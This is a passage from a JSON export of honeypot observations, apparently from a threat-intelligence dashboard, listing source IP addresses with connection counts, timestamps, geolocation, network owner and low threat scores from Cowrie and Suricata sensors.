        "Suricata": 4
      }
    },
    "222.127.49.242": {
      "attack_count": 4,
      "first_seen": "2026-05-23T04:30:48.202Z",
      "last_seen": "2026-05-23T04:31:39.806Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Philippines",
      "country_code": "PH",
      "city": "Lahug",
      "asn": 132199,
      "as_org": "Globe Telecom Inc.",
      "threat_score": 15.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 7.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.73
      },
      "reputation_metrics": {
        "total_events_30d": 6,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-23T04:30:48.202000+00:00",
        "last_seen_30d": "2026-05-23T04:32:44.316000+00:00",
        "days_since_last_seen": 8
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 4,
        "Suricata": 2
      }
    },
    "190.60.47.90": {
      "attack_count": 3,
      "first_seen": "2026-05-11T01:49:21.408Z",
      "last_seen": "2026-05-11T01:49:21.411Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Colombia",
      "country_code": "CO",
      "city": "Barranquilla",
      "asn": 52468,
      "as_org": "UFINET PANAMA S.A.",
      "threat_score": 9.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 7.8,
        "persistence": 7.5,
        "diversity": 4,
        "spread": 10,
        "recency_factor": 0.33
      },
      "reputation_metrics": {
        "total_events_30d": 6,
        "days_active_30d": 9,
        "ports_targeted_30d": 2,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-03T01:36:51.440000+00:00",
        "last_seen_30d": "2026-05-11T01:59:29.164000+00:00",
        "days_since_last_seen": 20
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 3,
        "Suricata": 3
      }
    },
    "1.165.3.246": {
      "attack_count": 2,
      "first_seen": "2026-05-11T06:43:50.484Z",
      "last_seen": "2026-05-11T06:44:04.910Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Taiwan",
      "country_code": "TW",
      "city": "Chang-hua",
      "asn": 3462,
      "as_org": "Data Communication Business Group",
      "threat_score": 5.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.33
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-11T06:43:50.484000+00:00",
        "last_seen_30d": "2026-05-11T06:45:05.390000+00:00",
        "days_since_last_seen": 20
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "1.39.157.181": {
      "attack_count": 2,
      "first_seen": "2026-05-02T07:42:45.079Z",
      "last_seen": "2026-05-02T07:42:58.357Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "India",
      "country_code": "IN",
      "city": "S\u012bkar",
      "asn": 38266,
      "as_org": "Vodafone Idea Ltd",
      "threat_score": 1.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-02T07:42:45.079000+00:00",
        "last_seen_30d": "2026-05-02T07:44:00.644000+00:00",
        "days_since_last_seen": 29
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "102.141.54.219": {
      "attack_count": 2,
      "first_seen": "2026-05-07T11:03:33.622Z",
      "last_seen": "2026-05-07T11:03:46.905Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Congo Republic",
      "country_code": "CG",
      "city": "Brazzaville",
      "asn": 36924,
      "as_org": "GVA-Canalbox",
      "threat_score": 3.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.2
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-07T11:03:33.622000+00:00",
        "last_seen_30d": "2026-05-07T11:04:52.948000+00:00",
        "days_since_last_seen": 24
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "103.174.153.115": {
      "attack_count": 2,
      "first_seen": "2026-05-13T18:20:35.811Z",
      "last_seen": "2026-05-13T18:20:35.967Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Bangladesh",
      "country_code": "BD",
      "city": null,
      "asn": 147303,
      "as_org": "ColoCone",
      "threat_score": 7.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 7.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.4
      },
      "reputation_metrics": {
        "total_events_30d": 5,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-13T18:20:35.811000+00:00",
        "last_seen_30d": "2026-05-13T18:21:38.303000+00:00",
        "days_since_last_seen": 18
      },
      "honeypot_breakdown_30d": {
        "Suricata": 3,
        "Cowrie": 2
      }
    },
    "103.72.178.78": {
      "attack_count": 2,
      "first_seen": "2026-05-04T12:08:48.977Z",
      "last_seen": "2026-05-04T12:09:02.319Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "India",
      "country_code": "IN",
      "city": "Thiruvananthapuram",
      "asn": 132976,
      "as_org": "Kings Broadband Pvt Ltd",
      "threat_score": 1.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-04T12:08:48.977000+00:00",
        "last_seen_30d": "2026-05-04T12:10:02.806000+00:00",
        "days_since_last_seen": 27
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "108.165.95.7": {
      "attack_count": 2,
      "first_seen": "2026-05-05T13:27:47.931Z",
      "last_seen": "2026-05-05T13:28:18.679Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 400536,
      "as_org": "Nodestop LLC",
      "threat_score": 13.4,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 14.3,
        "persistence": 7.5,
        "diversity": 8,
        "spread": 15,
        "recency_factor": 0.3
      },
      "reputation_metrics": {
        "total_events_30d": 27,
        "days_active_30d": 9,
        "ports_targeted_30d": 4,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-05-02T10:16:07.911000+00:00",
        "last_seen_30d": "2026-05-10T04:56:38.064000+00:00",
        "days_since_last_seen": 21
      },
      "honeypot_breakdown_30d": {
        "Suricata": 22,
        "Tanner": 3,
        "Cowrie": 2
      }
    },
    "112.123.106.64": {
      "attack_count": 2,
      "first_seen": "2026-05-22T22:09:53.810Z",
      "last_seen": "2026-05-22T22:09:53.811Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4837,
      "as_org": "CHINA UNICOM China169 Backbone",
      "threat_score": 13.2,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.7
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-22T22:09:53.810000+00:00",
        "last_seen_30d": "2026-05-22T22:10:58.746000+00:00",
        "days_since_last_seen": 9
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 2
      }
    },
    "116.72.156.179": {
      "attack_count": 2,
      "first_seen": "2026-05-06T15:19:07.014Z",
      "last_seen": "2026-05-06T15:19:19.007Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "India",
      "country_code": "IN",
      "city": "Bengaluru",
      "asn": 17488,
      "as_org": "Hathway IP Over Cable Internet",
      "threat_score": 2.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.17
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-06T15:19:07.014000+00:00",
        "last_seen_30d": "2026-05-06T15:20:26.245000+00:00",
        "days_since_last_seen": 25
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "125.166.126.0": {
      "attack_count": 2,
      "first_seen": "2026-05-22T23:44:24.749Z",
      "last_seen": "2026-05-22T23:44:37.642Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Indonesia",
      "country_code": "ID",
      "city": "Jember",
      "asn": 7713,
      "as_org": "PT Telekomunikasi Indonesia",
      "threat_score": 12.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.7
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-22T23:44:24.749000+00:00",
        "last_seen_30d": "2026-05-22T23:45:45.852000+00:00",
        "days_since_last_seen": 9
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "128.201.116.244": {
      "attack_count": 2,
      "first_seen": "2026-05-13T18:11:35.828Z",
      "last_seen": "2026-05-13T18:11:48.701Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Chile",
      "country_code": "CL",
      "city": "Molina",
      "asn": 265743,
      "as_org": "COMERCIAL WASHINGTON ERNESTO OYARCE SAZO E.I.R.L. SENALMAX",
      "threat_score": 7.0,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.4
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-13T18:11:35.828000+00:00",
        "last_seen_30d": "2026-05-13T18:12:54.693000+00:00",
        "days_since_last_seen": 18
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "139.135.46.123": {
      "attack_count": 2,
      "first_seen": "2026-05-26T22:56:28.307Z",
      "last_seen": "2026-05-26T22:56:40.810Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Pakistan",
      "country_code": "PK",
      "city": "Lahore",
      "asn": 9541,
      "as_org": "Cyber Internet Services Pvt Ltd.",
      "threat_score": 15.7,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.83
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-26T22:56:28.307000+00:00",
        "last_seen_30d": "2026-05-26T22:57:42.585000+00:00",
        "days_since_last_seen": 5
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 2
      }
    },
    "163.0.63.230": {
      "attack_count": 2,
      "first_seen": "2026-05-03T03:32:12.748Z",
      "last_seen": "2026-05-03T03:32:48.336Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": "Guangzhou",
      "asn": 17816,
      "as_org": "China Unicom IP network China169 Guangdong province",
      "threat_score": 1.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-03T03:32:12.748000+00:00",
        "last_seen_30d": "2026-05-03T03:34:28.903000+00:00",
        "days_since_last_seen": 28
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 2
      }
    },
    "171.114.225.86": {
      "attack_count": 2,
      "first_seen": "2026-05-22T10:02:08.927Z",
      "last_seen": "2026-05-22T10:02:21.940Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4134,
      "as_org": "Chinanet",
      "threat_score": 12.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.7
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-22T10:02:08.927000+00:00",
        "last_seen_30d": "2026-05-22T10:03:31.604000+00:00",
        "days_since_last_seen": 9
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "179.49.173.90": {
      "attack_count": 2,
      "first_seen": "2026-05-13T09:57:53.378Z",
      "last_seen": "2026-05-13T09:58:06.141Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Brazil",
      "country_code": "BR",
      "city": "Fernand\u00f3polis",
      "asn": 271202,
      "as_org": "NavegNet Telecom",
      "threat_score": 7.0,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.4
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-13T09:57:53.378000+00:00",
        "last_seen_30d": "2026-05-13T09:59:07.356000+00:00",
        "days_since_last_seen": 18
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "181.43.248.62": {
      "attack_count": 2,
      "first_seen": "2026-05-24T16:53:38.001Z",
      "last_seen": "2026-05-24T16:55:38.004Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Chile",
      "country_code": "CL",
      "city": "Santiago",
      "asn": 27651,
      "as_org": "ENTEL CHILE S.A.",
      "threat_score": 13.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.77
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-24T16:53:38.001000+00:00",
        "last_seen_30d": "2026-05-24T16:56:55.859000+00:00",
        "days_since_last_seen": 7
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "186.54.50.203": {
      "attack_count": 2,
      "first_seen": "2026-05-24T12:37:23.597Z",
      "last_seen": "2026-05-24T12:39:23.599Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Uruguay",
      "country_code": "UY",
      "city": "Montevideo",
      "asn": 6057,
      "as_org": "Administracion Nacional de Telecomunicaciones",
      "threat_score": 14.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.77
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-24T12:37:23.597000+00:00",
        "last_seen_30d": "2026-05-24T12:50:10.964000+00:00",
        "days_since_last_seen": 7
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 2
      }
    },
    "190.109.75.99": {
      "attack_count": 2,
      "first_seen": "2026-05-08T02:20:19.582Z",
      "last_seen": "2026-05-08T02:20:33.047Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Brazil",
      "country_code": "BR",
      "city": "S\u00e3o Geraldo do Araguaia",
      "asn": 264231,
      "as_org": "RG.COM - INFORMATICA & COMUNICACAO LTDA - ME",
      "threat_score": 4.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.23
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-08T02:20:19.582000+00:00",
        "last_seen_30d": "2026-05-08T02:21:42.436000+00:00",
        "days_since_last_seen": 23
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "196.188.112.27": {
      "attack_count": 2,
      "first_seen": "2026-05-07T17:38:13.150Z",
      "last_seen": "2026-05-07T17:38:25.944Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Ethiopia",
      "country_code": "ET",
      "city": "Addis Ababa",
      "asn": 24757,
      "as_org": "Ethiopian Telecommunication Corporation",
      "threat_score": 3.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.2
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-07T17:38:13.150000+00:00",
        "last_seen_30d": "2026-05-07T17:39:26.591000+00:00",
        "days_since_last_seen": 24
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "197.185.161.241": {
      "attack_count": 2,
      "first_seen": "2026-05-05T22:39:29.969Z",
      "last_seen": "2026-05-05T22:39:42.774Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "South Africa",
      "country_code": "ZA",
      "city": "Johannesburg",
      "asn": 37105,
      "as_org": "RAIN-GROUP-HOLDINGS",
      "threat_score": 2.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.13
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-05T22:39:29.969000+00:00",
        "last_seen_30d": "2026-05-05T22:40:43.556000+00:00",
        "days_since_last_seen": 26
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "203.236.109.13": {
      "attack_count": 2,
      "first_seen": "2026-05-26T21:03:03.700Z",
      "last_seen": "2026-05-26T21:03:17.204Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "South Korea",
      "country_code": "KR",
      "city": "Jongno-gu",
      "asn": 4766,
      "as_org": "Korea Telecom",
      "threat_score": 14.7,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.83
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-26T21:03:03.700000+00:00",
        "last_seen_30d": "2026-05-26T21:04:18.719000+00:00",
        "days_since_last_seen": 5
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "213.230.86.177": {
      "attack_count": 2,
      "first_seen": "2026-05-21T17:49:21.186Z",
      "last_seen": "2026-05-21T17:51:21.188Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Uzbekistan",
      "country_code": "UZ",
      "city": "Tashkent",
      "asn": 8193,
      "as_org": "Uzbektelekom Joint Stock Company",
      "threat_score": 12.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.67
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-21T17:49:21.186000+00:00",
        "last_seen_30d": "2026-05-21T17:52:22.211000+00:00",
        "days_since_last_seen": 10
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 2
      }
    },
    "223.151.74.60": {
      "attack_count": 2,
      "first_seen": "2026-05-22T15:08:18.049Z",
      "last_seen": "2026-05-22T15:08:53.369Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4134,
      "as_org": "Chinanet",
      "threat_score": 12.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.7
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-22T15:08:18.049000+00:00",
        "last_seen_30d": "2026-05-22T15:09:57.978000+00:00",
        "days_since_last_seen": 9
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "27.21.27.227": {
      "attack_count": 2,
      "first_seen": "2026-05-28T03:06:21.858Z",
      "last_seen": "2026-05-28T03:06:34.857Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4134,
      "as_org": "Chinanet",
      "threat_score": 15.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.9
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-28T03:06:21.858000+00:00",
        "last_seen_30d": "2026-05-28T03:07:36.005000+00:00",
        "days_since_last_seen": 3
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "27.8.164.126": {
      "attack_count": 2,
      "first_seen": "2026-05-23T09:19:49.277Z",
      "last_seen": "2026-05-23T09:20:02.811Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": "Chongqing",
      "asn": 4837,
      "as_org": "CHINA UNICOM China169 Backbone",
      "threat_score": 12.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.73
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-23T09:19:49.277000+00:00",
        "last_seen_30d": "2026-05-23T09:21:08.552000+00:00",
        "days_since_last_seen": 8
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "36.22.201.245": {
      "attack_count": 2,
      "first_seen": "2026-05-20T19:00:07.593Z",
      "last_seen": "2026-05-20T19:00:20.113Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": "Dongyang",
      "asn": 4134,
      "as_org": "Chinanet",
      "threat_score": 11.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.63
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-20T19:00:07.593000+00:00",
        "last_seen_30d": "2026-05-20T19:01:21.839000+00:00",
        "days_since_last_seen": 11
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "38.43.231.11": {
      "attack_count": 2,
      "first_seen": "2026-05-23T21:20:20.101Z",
      "last_seen": "2026-05-23T21:22:20.105Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Venezuela",
      "country_code": "VE",
      "city": "Maracaibo",
      "asn": 269820,
      "as_org": "FULL DATA COMUNICACIONES C.A.",
      "threat_score": 13.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.73
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-23T21:20:20.101000+00:00",
        "last_seen_30d": "2026-05-23T21:23:28.424000+00:00",
        "days_since_last_seen": 8
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 2
      }
    },
    "38.66.207.41": {
      "attack_count": 2,
      "first_seen": "2026-05-08T16:22:50.318Z",
      "last_seen": "2026-05-08T16:23:02.625Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Venezuela",
      "country_code": "VE",
      "city": "Valencia",
      "asn": 273207,
      "as_org": "WIFI-PRADO C.A",
      "threat_score": 4.1,
      "threat_level": "minimal",
